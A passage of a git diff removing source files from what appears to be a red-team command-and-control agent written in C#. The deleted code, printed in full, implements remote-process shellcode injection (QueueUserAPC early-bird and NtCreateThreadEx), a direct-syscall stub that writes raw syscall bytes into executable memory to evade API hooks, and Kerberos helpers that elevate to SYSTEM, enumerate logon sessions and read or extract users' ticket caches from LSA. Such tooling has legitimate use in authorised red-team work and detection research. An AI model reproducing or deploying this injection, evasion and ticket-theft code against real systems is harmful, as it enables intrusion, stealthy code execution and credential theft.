_agent.GetApi().GetLibraryFunction(Library.KERNEL32, "QueueUserAPC"); - _pResumeThread = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "ResumeThread"); - _pCloseHandle = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CloseHandle"); - _pVirtualProtectEx = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "VirtualProtectEx"); - } - - public override bool Inject(string arguments = "") - { - bool bRet = true; - IntPtr hThread = IntPtr.Zero; - // probably need to do some checking here to ensure process ID is instantiated - var proc = System.Diagnostics.Process.GetProcessById(_processId); - if (proc.Threads.Count == 0) - throw new Exception($"Process {_processId} has no threads. Aborting."); - if (proc.Threads[0].ThreadState != ThreadState.Wait) - { - throw new Exception("QueueUserAPC uses early bird injection and requires the thread to be in an initialized state."); - } - hThread = _pOpenThread(ThreadAccessRights.THREAD_ALL_ACCESS, true, (uint)proc.Threads[0].Id); - - if (hThread == IntPtr.Zero || hThread == null) - return false; - - try - { - uint bytesWritten = 0; - IntPtr allocSpace = _pVirtualAllocEx( - _hProcess, - IntPtr.Zero, - (ulong)_code.Length, - AllocationType.Commit | AllocationType.Reserve, - MemoryProtection.ReadWrite); - if (allocSpace == IntPtr.Zero) - { - bRet = false; - } - else - { - bRet = _pWriteProcessMemory(_hProcess, allocSpace, _code, (uint)_code.Length, out bytesWritten); - if (bRet) - { - //Marshal.Copy(pic, 0, allocSpace, pic.Length); - uint flOldProtect = 0; - if (!_pVirtualProtectEx(_hProcess, allocSpace, (uint)_code.Length, (uint)MemoryProtection.ExecuteRead, out flOldProtect)) - bRet = false; - else - { - //var argumentPointer = Marshal.StringToHGlobalAnsi(arguments); - if (!_pQUAPC(allocSpace, hThread, IntPtr.Zero)) - bRet = false; - else - { - _pResumeThread(hThread); - bRet = true; - } - } - } - } - } - catch (Exception ex) - { - bRet = false; - } - finally - { - if (hThread != IntPtr.Zero) - { - _pCloseHandle(hThread); - } - } - return bRet; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/Syscall_x64/NtCreateThreadEx.cs b/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/Syscall_x64/NtCreateThreadEx.cs deleted file mode 100644 index c81cf50c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/Syscall_x64/NtCreateThreadEx.cs +++ /dev/null @@ -1,264 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using ApolloInterop.Classes.Core; -using ApolloInterop.Interfaces; -using Injection.Shared; - -namespace Injection.Techniques.Syscall_x64 -{ - public class NtCreateThreadEx : InjectionTechnique - { - private USysCall64 _syscall; - - private delegate uint NtOpenProcess( - ref IntPtr hProcess, - Win32.ACCESS_MASK dwDesiredAccess, - ref Win32.OBJECT_ATTRIBUTES ObjectAttributes, - ref Win32.CLIENT_ID ClientId); - - private delegate uint NtDuplicateObject( - IntPtr hSourceProcessHandle, - IntPtr hSourceHandle, - IntPtr hTargetProcessHandle, - out IntPtr hTargetHandle, - Win32.ACCESS_MASK dwDesiredAccess, - bool bInheritHandle, - ulong dwOptions); - - private delegate uint NtClose(IntPtr hObject); - - private delegate uint NtAllocateVirtualMemory( - IntPtr hProcess, - ref IntPtr lpBaseAddress, - IntPtr ZeroBits, - ref UIntPtr RegionSize, - Win32.AllocationType AllocationType, - Win32.MemoryProtection Protect); - - private delegate uint NtProtectVirtualMemory( - IntPtr hProcess, - ref IntPtr lpBaseAddress, - ref uint dwLength, - Win32.MemoryProtection dwDesiredAccess, - out Win32.MemoryProtection dwOldProtect); - - private delegate uint NtWriteVirtualMemory( - IntPtr hProcess, - IntPtr lpBaseAddress, - byte[] lpBuffer, - uint dwLength, - out uint dwBytesWritten); - - private delegate uint NtCreateThreadExDelegate( - out IntPtr hThread, - Win32.ACCESS_MASK dwDesiredAccess, - IntPtr lpThreadAttributes, - IntPtr hProcess, - IntPtr lpStartAddress, - IntPtr lpParameter, - bool bCreateSuspended, - uint StackZeroBits, - uint SizeOfStackCommit, - uint SizeOfStackReserve, - IntPtr lpBuffer); - - - private NtOpenProcess _ntOpenProcess; - private NtClose _ntClose; - private NtDuplicateObject _ntDuplicateObject; - private NtAllocateVirtualMemory _pNtAllocateVirtualMemory; - private NtProtectVirtualMemory _pNtProtectVirtualMemory; - private NtWriteVirtualMemory _pNtWriteVirtualMemory; - private NtCreateThreadExDelegate _pNtCreateThreadEx; - - public NtCreateThreadEx(IAgent agent, byte[] code, int pid) - { - _code = code; - _processId = pid; - _agent = agent; - Setup(_agent); - _hProcess = IntPtr.Zero; - Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES(); - Win32.CLIENT_ID clientId = new Win32.CLIENT_ID() - { - UniqueProcess = (IntPtr)_processId - }; - var ntStatus = _ntOpenProcess( - ref _hProcess, - Win32.ACCESS_MASK.MAXIMUM_ALLOWED, - ref oa, - ref clientId); - if (ntStatus != 0) - { - throw new Exception("Failed to open handle process."); - } - } - - public NtCreateThreadEx(IAgent agent, byte[] code, IntPtr hProcess) - { - _code = code; - _agent = agent; - Setup(agent); - var ntStatus = _ntDuplicateObject( - System.Diagnostics.Process.GetCurrentProcess().Handle, - hProcess, - hProcess, - out _hProcess, - Win32.ACCESS_MASK.MAXIMUM_ALLOWED, - false, - 0); - if (ntStatus != 0) - { - throw new Exception("Failed to duplicate handle."); - } - } - - private void Setup(IAgent agent) - { - if (IntPtr.Size != 8) - { - throw new Exception("Must be running in a 64-bit process."); - } - _syscall = new USysCall64(agent); - try - { - _ntOpenProcess = _syscall.MarshalNtSyscall("NtOpenProcess"); - } - catch (Exception ex) - { - throw new Exception("Failed to get function pointer for NtOpenProcess", ex); - } - - try - { - _ntClose = _syscall.MarshalNtSyscall("NtClose"); - _pCloseHandle = Marshal.GetDelegateForFunctionPointer(Marshal.GetFunctionPointerForDelegate(_ntClose), typeof(CloseHandle)) as CloseHandle; - } - catch (Exception ex) - { - throw new Exception("Failed to get function pointer for NtClose", ex); - } - - try - { - _ntDuplicateObject = _syscall.MarshalNtSyscall("NtDuplicateObject"); - } - catch (Exception ex) - { - throw new Exception("Failed to get function pointer for NtDuplicateObject", ex); - } - - try - { - _pNtAllocateVirtualMemory = _syscall.MarshalNtSyscall("NtAllocateVirtualMemory"); - } - catch (Exception ex) - { - throw new Exception("Failed to get function pointer for NtAllocateVirtualMemory", ex); - } - - try - { - _pNtProtectVirtualMemory = _syscall.MarshalNtSyscall("NtProtectVirtualMemory"); - } - catch (Exception ex) - { - throw new Exception("Failed to get function pointer for NtProtectVirtualMemory", ex); - } - - try - { - _pNtCreateThreadEx = _syscall.MarshalNtSyscall("NtCreateThreadEx"); - } - catch (Exception ex) - { - throw new Exception("Failed to get function pointer for NtCreateThreadEx", ex); - } - - try - { - _pNtWriteVirtualMemory = _syscall.MarshalNtSyscall("NtWriteVirtualMemory"); - } - catch (Exception ex) - { - throw new Exception("Failed to resolve function pointer for NtWriteVirtualMemory", ex); - } - } - - public override bool Inject(string arguments = "") - { - IntPtr pMemoryAllocation = new IntPtr(); - UIntPtr pAllocationSize = new UIntPtr(Convert.ToUInt64(_code.Length)); - Win32.AllocationType allocationType = Win32.AllocationType.Commit | Win32.AllocationType.Reserve; - Win32.MemoryProtection protection = Win32.MemoryProtection.ReadWrite; - uint codeLen = (uint) _code.Length; - try - { - uint ntStatus = _pNtAllocateVirtualMemory( - _hProcess, - ref pMemoryAllocation, - IntPtr.Zero, - ref pAllocationSize, - allocationType, - protection); - if (ntStatus != 0) - { - throw new Exception("Failed to allocate memory for code"); - } - - - ntStatus = _pNtWriteVirtualMemory( - _hProcess, - pMemoryAllocation, - _code, - codeLen, - out uint bytesWritten); - - ntStatus = _pNtProtectVirtualMemory( - _hProcess, - ref pMemoryAllocation, - ref codeLen, - Win32.MemoryProtection.ExecuteRead, - out Win32.MemoryProtection _); - if (ntStatus != 0) - { - throw new Exception("Failed to set memory protection"); - } - - IntPtr hThread = new IntPtr(0); - Win32.ACCESS_MASK dwDesiredAccess = - Win32.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.ACCESS_MASK.STANDARD_RIGHTS_ALL; - IntPtr pObjectAttributes = new IntPtr(0); - IntPtr lpParameter = new IntPtr(0); - bool bCreateSuspended = false; - uint stackZeroBits = 0; - uint sizeOfStackCommit = 0xFFFF; - uint sizeOfStackReserve = 0xFFFF; - IntPtr pBytesBuffer = new IntPtr(0); - - ntStatus = _pNtCreateThreadEx( - out hThread, - dwDesiredAccess, - pObjectAttributes, - _hProcess, - pMemoryAllocation, - lpParameter, - bCreateSuspended, - stackZeroBits, - sizeOfStackCommit, - sizeOfStackReserve, - pBytesBuffer); - if (ntStatus != 0) - { - throw new Exception("Failed to create thread"); - } - } - catch - { - return false; - } - - return true; - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/Syscall_x64/USysCall64.cs b/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/Syscall_x64/USysCall64.cs deleted file mode 100644 index f2418a4a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/Techniques/Syscall_x64/USysCall64.cs +++ /dev/null @@ -1,126 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.IO.MemoryMappedFiles; -using System.Linq; -using System.Runtime.InteropServices; -using ApolloInterop.Classes.Api; -using ApolloInterop.Interfaces; -using static Injection.Shared.Win32; -/* - * Based heavily off the work of @winternl - */ - -namespace Injection.Techniques.Syscall_x64 -{ - internal unsafe class USysCall64 - { - private IAgent _agent; - private delegate long LdrGetDllHandle( - IntPtr pwPath, - IntPtr pwReserved, - ref UNICODE_STRING pszModule, - ref UIntPtr lpHandle); - - - private readonly Dictionary SysCallTable; - - // TODO: Stack alignment - private static readonly byte[] SysCallStub = - { - 0x4C, 0x8B, 0xD1, // mov r10, rcx - 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, sys_no - 0x0F, 0x05, // syscall - 0xC3 // retn - }; - - private LdrGetDllHandle _pLdrGetDllHandle; - - public USysCall64(IAgent agent) - { - _agent = agent; - _pLdrGetDllHandle = _agent.GetApi().GetLibraryFunction( - Library.NTDLL, "LdrGetDllHandle"); - UNICODE_STRING szNtdll = new UNICODE_STRING("ntdll"); - UIntPtr ptrNtdll = UIntPtr.Zero; - - long ntstatus = _pLdrGetDllHandle( - IntPtr.Zero, - IntPtr.Zero, - ref szNtdll, - ref ptrNtdll); - - if (ntstatus != 0) - { - throw new Win32Exception("Failed to get handle of NTDLL"); - } - - byte* lpNtdll = (byte*)ptrNtdll; - IMAGE_DOS_HEADER* piDH = (IMAGE_DOS_HEADER*)lpNtdll; - IMAGE_OPTIONAL_HEADER64* piOH = (IMAGE_OPTIONAL_HEADER64*)(lpNtdll + piDH->e_lfanew + 0x18); - IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(lpNtdll + piOH->ExportTable.VirtualAddress); - - uint* names = (uint*)(lpNtdll + exportDir->AddressOfNames); - uint* functions = (uint*)(lpNtdll + exportDir->AddressOfFunctions); - ushort* ordinals = (ushort*)(lpNtdll + exportDir->AddressOfNameOrdinals); - - var listOfNames = new List(); - - var dictOfZwFunctions = new Dictionary(); - - for (int i = 0; i < exportDir->NumberOfNames; i++) - { - var name = Marshal.PtrToStringAnsi(new IntPtr(lpNtdll + names[i])); - - if (!name.StartsWith("Zw")) - { - continue; - } - - var fnAddr = new UIntPtr(lpNtdll + functions[ordinals[i]]); - - dictOfZwFunctions.Add(name, fnAddr.ToUInt64()); - } - - var sortedByAddr = dictOfZwFunctions - .OrderBy(x => x.Value) - .ToDictionary(x => "Nt" + x.Key.Substring(2, x.Key.Length - 2), x => x.Value); - - var sysCallLookup = new Dictionary(); - - uint sysNo = 0; - - foreach (var entry in sortedByAddr) - { - sysCallLookup.Add(entry.Key, sysNo); - sysNo++; - } - - SysCallTable = sysCallLookup; - } - - private static byte[] GetSysCallStub(uint sysNo) - { - byte[] locBuffer = new byte[SysCallStub.Length]; - byte[] no = BitConverter.GetBytes(sysNo); - - SysCallStub.CopyTo(locBuffer, 0); - Buffer.BlockCopy(no, 0, locBuffer, 4, 4); - return locBuffer; - } - - public T MarshalNtSyscall(string functionName) where T : Delegate - { - byte[] syscallStub = GetSysCallStub(SysCallTable[functionName]); - var mapName = Guid.NewGuid().ToString(); - var mapFile = - MemoryMappedFile.CreateNew(mapName, syscallStub.Length, MemoryMappedFileAccess.ReadWriteExecute); - var mapView = mapFile.CreateViewAccessor(0, syscallStub.Length, MemoryMappedFileAccess.ReadWriteExecute); - - mapView.WriteArray(0, syscallStub, 0, syscallStub.Length); - byte* ptrShellcode = (byte*) IntPtr.Zero; - mapView.SafeMemoryMappedViewHandle.AcquirePointer(ref ptrShellcode); - return (T) Marshal.GetDelegateForFunctionPointer((IntPtr) ptrShellcode, typeof(T)); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Injection/packages.config b/Payload_Type/apollo/apollo/agent_code/Injection/packages.config deleted file mode 100644 index 2634f65c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Injection/packages.config +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs deleted file mode 100644 index 7c32cbc6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs +++ /dev/null @@ -1,751 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; -using ApolloInterop.Enums; -using ApolloInterop.Features.KerberosTickets; -using ApolloInterop.Features.WindowsTypesAndAPIs; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Utils; -using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; -using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes; -using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes; -using static KerberosTickets.KerberosTicketManager; - -namespace KerberosTickets; - -internal class KerberosHelpers -{ - private static HANDLE systemHandle { get; set; } - - private static List createdArtifacts = new List(); - - - - - //private helper methods - private static HANDLE GetLsaHandleUntrusted(bool elevateToSystem = true) - { - HANDLE lsaHandle = new(); - try - { - bool elevated = false; - IntPtr _systemHandle = new(); - DebugHelp.DebugWriteLine("Getting LSA Handle"); - //if we are already high integrity, we need to elevate to system to get the handle to all the sessions - if(Agent.GetIdentityManager().GetIntegrityLevel() is IntegrityLevel.HighIntegrity && elevateToSystem) - { - //if we have a system handle already, we can use that - if(systemHandle.IsNull is false) - { - _systemHandle = systemHandle; - elevated = true; - } - else - { - (elevated, _systemHandle) = Agent.GetIdentityManager().GetSystem(); - createdArtifacts.Add(Artifact.PrivilegeEscalation("SYSTEM")); - } - if (elevated) - { - systemHandle = new(); - var originalUser = WindowsIdentity.Impersonate(_systemHandle); - WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle); - originalUser.Undo(); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaConnectUntrusted")); - } - else - { - DebugHelp.DebugWriteLine("Failed to elevate to system"); - } - } - else - { - //if we are not high integrity, we can just get the handle to our own session, and if we happen to be system already, we can get all sessions - WindowsAPI.LsaConnectUntrustedDelegate(out lsaHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaConnectUntrusted")); - } - } - catch (Exception e) - { - DebugHelp.DebugWriteLine($"Error getting LSA Handle: {e.Message}"); - } - return lsaHandle; - } - - private static uint GetAuthPackage(HANDLE lsaHandle, HANDLE packageNameHandle) - { - NTSTATUS lsaLookupStatus = WindowsAPI.LsaLookupAuthenticationPackageDelegate(lsaHandle, packageNameHandle, out uint authPackage); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaLookupAuthenticationPackage")); - if (lsaLookupStatus != NTSTATUS.STATUS_SUCCESS) - { - DebugHelp.DebugWriteLine($"Failed package lookup with error: {lsaLookupStatus}"); - return 0; - } - return authPackage; - } - - - - private static IEnumerable GetLogonSessions() - { - List logonIds = []; - try - { - // get all logon ids - DebugHelp.DebugWriteLine("enumerating logon session"); - WindowsAPI.LsaEnumerateLogonSessionsDelegate(out uint logonCount, out HANDLE logonIdHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaEnumerateLogonSessions")); - var logonWorkingHandle = logonIdHandle; - for (var i = 0; i < logonCount; i++) - { - var logonId = logonWorkingHandle.CastTo(); - if (logonId.IsNull || logonIds.Contains(logonId)) - { - DebugHelp.DebugWriteLine("LogonId is null or is already in the list, skipping"); - continue; - } - logonIds.Add(logonId); - logonWorkingHandle = logonWorkingHandle.Increment(); - } - WindowsAPI.LsaFreeReturnBufferDelegate(logonIdHandle); - } - catch (Exception e) - { - Console.WriteLine(e); - Marshal.GetLastWin32Error(); - } - return logonIds; - } - - private static LogonSessionData GetLogonSessionData(HANDLE luidHandle) - { - HANDLE logonSessionDataHandle = new(); - try - { - WindowsAPI.LsaGetLogonSessionDataDelegate(luidHandle, out logonSessionDataHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaGetLogonSessionData")); - if(logonSessionDataHandle.IsNull) - { - DebugHelp.DebugWriteLine($"Error getting logon session data"); - return new LogonSessionData(); - } - var seclogonSessionData = logonSessionDataHandle.CastTo(); - LogonSessionData sessionData = new() - { - LogonId = seclogonSessionData.LogonId, - Username = seclogonSessionData.UserName.ToString(), - LogonDomain = seclogonSessionData.LogonDomain.ToString(), - AuthenticationPackage = seclogonSessionData.AuthenticationPackage.ToString(), - LogonType = (Win32.LogonType)seclogonSessionData.LogonType, - Session = (int)seclogonSessionData.Session, - Sid = seclogonSessionData.Sid.IsNull ? null : new SecurityIdentifier(seclogonSessionData.Sid), - LogonTime = DateTime.FromFileTime(seclogonSessionData.LogonTime), - LogonServer = seclogonSessionData.LogonServer.ToString(), - DnsDomainName = seclogonSessionData.DnsDomainName.ToString(), - Upn = seclogonSessionData.Upn.ToString() - }; - return sessionData; - } - catch (Exception e) - { - DebugHelp.DebugWriteLine($"Error getting logon session data: {e.Message}"); - return new LogonSessionData(); - } - finally - { - WindowsAPI.LsaFreeReturnBufferDelegate(logonSessionDataHandle); - } - } - - private static IEnumerable GetTicketCache(HANDLE lsaHandle, uint authPackage, LUID logonId) - { - //needs to be elevated to pass in a logon id so if we arent we wipe the value here - LUID UsedlogonId = logonId; - if (Agent.GetIdentityManager().GetIntegrityLevel() <= IntegrityLevel.MediumIntegrity) - { - UsedlogonId = new LUID(); - } - // tickets to return - List tickets = []; - - KERB_QUERY_TKT_CACHE_REQUEST request = new() - { - MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage, - LogonId = UsedlogonId - }; - HANDLE requestHandle = new(request); - - var status = WindowsAPI.LsaCallAuthenticationPackageDelegate(lsaHandle, authPackage, requestHandle, Marshal.SizeOf(request), out HANDLE returnBuffer, out uint returnLength, out NTSTATUS returnStatus); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaCallAuthenticationPackage")); - - if (status != NTSTATUS.STATUS_SUCCESS || returnStatus != NTSTATUS.STATUS_SUCCESS) - { - DebugHelp.DebugWriteLine($"Failed to get ticket cache with error: {status} and return status: {returnStatus}"); - DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); - return tickets; - } - var response = returnBuffer.CastTo(); - - if (response.CountOfTickets == 0) - { - DebugHelp.DebugWriteLine("No tickets found"); - WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); - return tickets; - } - - //required because the first ticket is not at the start of the buffer, but at a pointer size away from the start, so without this we read invalid memory - HANDLE ticketHandle = (HANDLE)returnBuffer.Increment(); - // loop over every ticket - for (var i = 0; i < response.CountOfTickets; i++) - { - // get the ticket - var lpTicket = ticketHandle.GetValue(); - var foundTicket = new KerberosTicket - { - Luid = logonId, - ClientName = lpTicket.ClientName.ToString(), - ClientRealm = lpTicket.ClientRealm.ToString(), - ServerName = lpTicket.ServerName.ToString(), - ServerRealm = lpTicket.ServerRealm.ToString(), - StartTime = DateTime.FromFileTime(lpTicket.StartTime), - EndTime = DateTime.FromFileTime(lpTicket.EndTime), - RenewTime = DateTime.FromFileTime(lpTicket.RenewTime), - EncryptionType = (KerbEncType)lpTicket.EncryptionType, - TicketFlags = (KerbTicketFlags)lpTicket.TicketFlags - }; - DebugHelp.DebugWriteLine($"Ticket {i} Info: {foundTicket.ToString().ToIndentedString()}"); - tickets.Add(foundTicket); - ticketHandle = ticketHandle.IncrementBy(Marshal.SizeOf()); - } - WindowsAPI.LsaFreeReturnBufferDelegate(returnBuffer); - return tickets; - } - - private static (HANDLE, uint, IEnumerable, string) InitKerberosConnectionAndSessionInfo(bool GetSessions = true) - { - ValueTuple, string> connectionInfo = new(new(), 0, [], ""); - HANDLE lsaHandle = new(); - try - { - //get lsa handle - lsaHandle = GetLsaHandleUntrusted(); - if (lsaHandle.IsNull) - { - connectionInfo.Item4 = $"Failed to get LSA Handle: {Marshal.GetLastWin32Error()}"; - DebugHelp.DebugWriteLine("Failed to get LSA Handle"); - DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); - return connectionInfo; - } - DebugHelp.DebugWriteLine("Got LSA Handle"); - connectionInfo.Item1 = lsaHandle; - - // get auth package - LSA_IN_STRING packageName = new("kerberos"); - HANDLE packageNameHandle = new(packageName); - DebugHelp.DebugWriteLine("Getting Auth Package"); - uint authPackage = GetAuthPackage(lsaHandle, packageNameHandle); - if (authPackage == 0) - { - connectionInfo.Item4 = $"Failed to get Kerberos Auth Package: {Marshal.GetLastWin32Error()}"; - DebugHelp.DebugWriteLine("Failed to get Auth Package"); - DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); - return connectionInfo; - } - DebugHelp.DebugWriteLine($"Got Auth Package {packageName}"); - connectionInfo.Item2 = authPackage; - - // get all logon sessions - if (GetSessions) - { - var logonSessions = GetLogonSessions(); - var logonSessionList = logonSessions.ToList(); - DebugHelp.DebugWriteLine($"Found {logonSessionList.Count()} logon sessions"); - connectionInfo.Item3 = logonSessionList; - } - } - catch (Exception ex) - { - connectionInfo.Item4 = $"Failed to initialize Kerberos Session: {Marshal.GetLastWin32Error()}\n{ex.Message}\n{ex.StackTrace}"; - DebugHelp.DebugWriteLine($"Error triaging tickets: {ex.Message}"); - DebugHelp.DebugWriteLine(ex.StackTrace); - DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); - return connectionInfo; - } - return connectionInfo; - } - - private static HANDLE CreateNewLogonSession() - { - try - { - UNICODE_STRING userName = new(WindowsIdentity.GetCurrent().Name); - UNICODE_STRING logonDomainName = new(Environment.UserDomainName); - UNICODE_STRING password = new("password"); - HANDLE userNameHandle = new(userName); - HANDLE logonDomainNameHandle = new(logonDomainName); - HANDLE passwordHandle = new(password); - bool didLogon = WindowsAPI.LogonUserADelegate(userNameHandle, logonDomainNameHandle, passwordHandle, Win32.LogonType.LOGON32_LOGON_NEW_CREDENTIALS, Win32.LogonProvider.LOGON32_PROVIDER_WINNT50, out HANDLE token); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LogonUserA")); - if (didLogon) - { - createdArtifacts.Add(Artifact.PlaintextLogon(userName.ToString())); - } - //debug get the luid for the token - int tokenInfoSize = Marshal.SizeOf(); - HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); - WindowsAPI.GetTokenInformationDelegate(token, Win32.TokenInformationClass.TokenStatistics,tokenInfo, tokenInfoSize, out int returnLength); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation")); - TOKEN_STATISTICS tokenStats = tokenInfo.CastTo(); - DebugHelp.DebugWriteLine($"New Logon Session LUID: {tokenStats.AuthenticationId}"); - DebugHelp.DebugWriteLine($"Current Logon Session LUID: {GetCurrentLuid()}"); - return token; - } - catch (Exception e) - { - Console.WriteLine(e); - DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); - return new(); - } - } - - /// - /// Gets any created artifacts that were produced between the current call and the last call to this method - /// - /// - internal static List GetCreatedArtifacts() - { - List artifacts = new(); - artifacts.AddRange(createdArtifacts); - createdArtifacts.Clear(); - return artifacts; - } - - //internal methods but are exposed via the KerberosTicketManager - internal static LUID GetCurrentLuid() - { - //get size of the Token_statistics struct - int tokenInfoSize = Marshal.SizeOf(); - //allocate memory for the token statistics struct - HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); - //get the token statistics struct - HANDLE primaryToken = (HANDLE)Agent.GetIdentityManager().GetCurrentPrimaryIdentity().Token; - bool success = WindowsAPI.GetTokenInformationDelegate(primaryToken, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation")); - if (success) - { - TOKEN_STATISTICS tokenStats = tokenInfo.CastTo(); - return tokenStats.AuthenticationId; - } - return new LUID(); - } - - - internal static LUID GetTargetProcessLuid(int pid) - { - HANDLE tokenInfo = new(); - HANDLE targetProcessHandle = new(); - HANDLE targetProcessTokenHandle = new(); - try - { - DebugHelp.DebugWriteLine($"Getting LUID for process {pid}"); - targetProcessHandle = WindowsAPI.OpenProcessDelegate(Win32.ProcessAccessFlags.MAXIMUM_ALLOWED, false, pid); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("OpenProcess")); - if (targetProcessHandle.IsNull) - { - DebugHelp.DebugWriteLine($"Failed to get handle for process {pid}"); - return new LUID(); - } - createdArtifacts.Add(Artifact.ProcessOpen(pid)); - bool gotProcessToken = WindowsAPI.OpenProcessTokenDelegate(targetProcessHandle, TokenAccessLevels.Query, out targetProcessTokenHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("OpenProcessToken")); - if(gotProcessToken is false) - { - DebugHelp.DebugWriteLine($"Failed to get token handle for process {pid}"); - return new LUID(); - } - //get size of the Token_statistics struct - int tokenInfoSize = Marshal.SizeOf(); - //allocate memory for the token statistics struct - tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); - //get the token statistics struct - bool success = WindowsAPI.GetTokenInformationDelegate(targetProcessTokenHandle, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation")); - if (success) - { - TOKEN_STATISTICS tokenStats = tokenInfo.CastTo(); - DebugHelp.DebugWriteLine($"Got LUID for process {pid}"); - return tokenStats.AuthenticationId; - } - DebugHelp.DebugWriteLine($"Failed to get LUID for process {pid} during get token info call"); - DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); - return new LUID(); - } - catch (Exception e) - { - Console.WriteLine(e); - return new LUID(); - } - finally - { - Marshal.FreeHGlobal(tokenInfo); - WindowsAPI.CloseHandleDelegate(targetProcessTokenHandle); - WindowsAPI.CloseHandleDelegate(targetProcessHandle); - } - } - - //get all tickets - internal static IEnumerable TriageTickets(bool getSystemTickets = false, string targetLuid = "") - { - List allTickets = []; - bool highIntegrity = false; - if (Agent.GetIdentityManager().GetIntegrityLevel() > IntegrityLevel.MediumIntegrity) - { - highIntegrity = true; - } - string currentLuid = Agent.GetTicketManager().GetCurrentLuid(); - DebugHelp.DebugWriteLine("Starting to triage tickets from LSA"); - (HANDLE lsaHandle, uint authPackage, IEnumerable logonSessions, string error) = InitKerberosConnectionAndSessionInfo(); - try - { - if(lsaHandle.IsNull || authPackage == 0 || !logonSessions.Any() || error != "") - { - DebugHelp.DebugWriteLine("Failed to get connection info"); - return allTickets; - } - // get tickets from each session - foreach (var logonSession in logonSessions) - { - //if we're not high integrity, only get tickets for our current sessionID - if(!highIntegrity) - { - if(logonSession.ToString() != currentLuid) - { - continue; - } - } - else - { - if (!getSystemTickets) - { - if((targetLuid == "" && logonSession.ToString() != currentLuid) || (targetLuid != "" && logonSession.ToString() != targetLuid)) - { - continue; - } - - } - } - var sessionData = GetLogonSessionData(new(logonSession)); - //should skip any non-user accounts by checking the session id - if (sessionData.LogonId.IsNull) - { - continue; - } - var tickets = GetTicketCache(lsaHandle, authPackage, sessionData.LogonId); - if(tickets is not null) - { - allTickets.AddRange(tickets); - } - } - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Error triaging tickets: {ex.Message}"); - DebugHelp.DebugWriteLine(ex.StackTrace); - DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}"); - } - finally - { - // close lsa handle - WindowsAPI.LsaDeregisterLogonProcessDelegate(lsaHandle); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LsaDeregisterLogonProcess")); - } - return allTickets; - } - - - //extract ticket - internal static (KerberosTicket?, string) ExtractTicket(LUID targetLuid, string targetName) - { - try - { - targetName = targetName.Trim(); - //needs to be elevated to pass in a logon id so if we aren't we wipe the value here - //Discarding the logonSessions because we do not need them so we pass false to prevent enumerating them - (HANDLE lsaHandle, uint authPackage, IEnumerable _, string error) = InitKerberosConnectionAndSessionInfo(); - //if we are not an admin user then we cannot send a real lUID so we need to send a null one - if(error != "") - { - return (null, $"Failed to Initialize Kerberos Connection and Session Info\n{error}"); - } - if(Agent.GetIdentityManager().GetIntegrityLevel() is <= IntegrityLevel.MediumIntegrity) - { - DebugHelp.DebugWriteLine("Not high integrity, setting target luid to null"); - targetLuid = new LUID(); - } - DebugHelp.DebugWriteLine($"Enumerating ticket for {targetName}"); - var ticket = GetTicketCache(lsaHandle, authPackage, targetLuid).FirstOrDefault(x => x.ServerName.Contains(targetName)); - 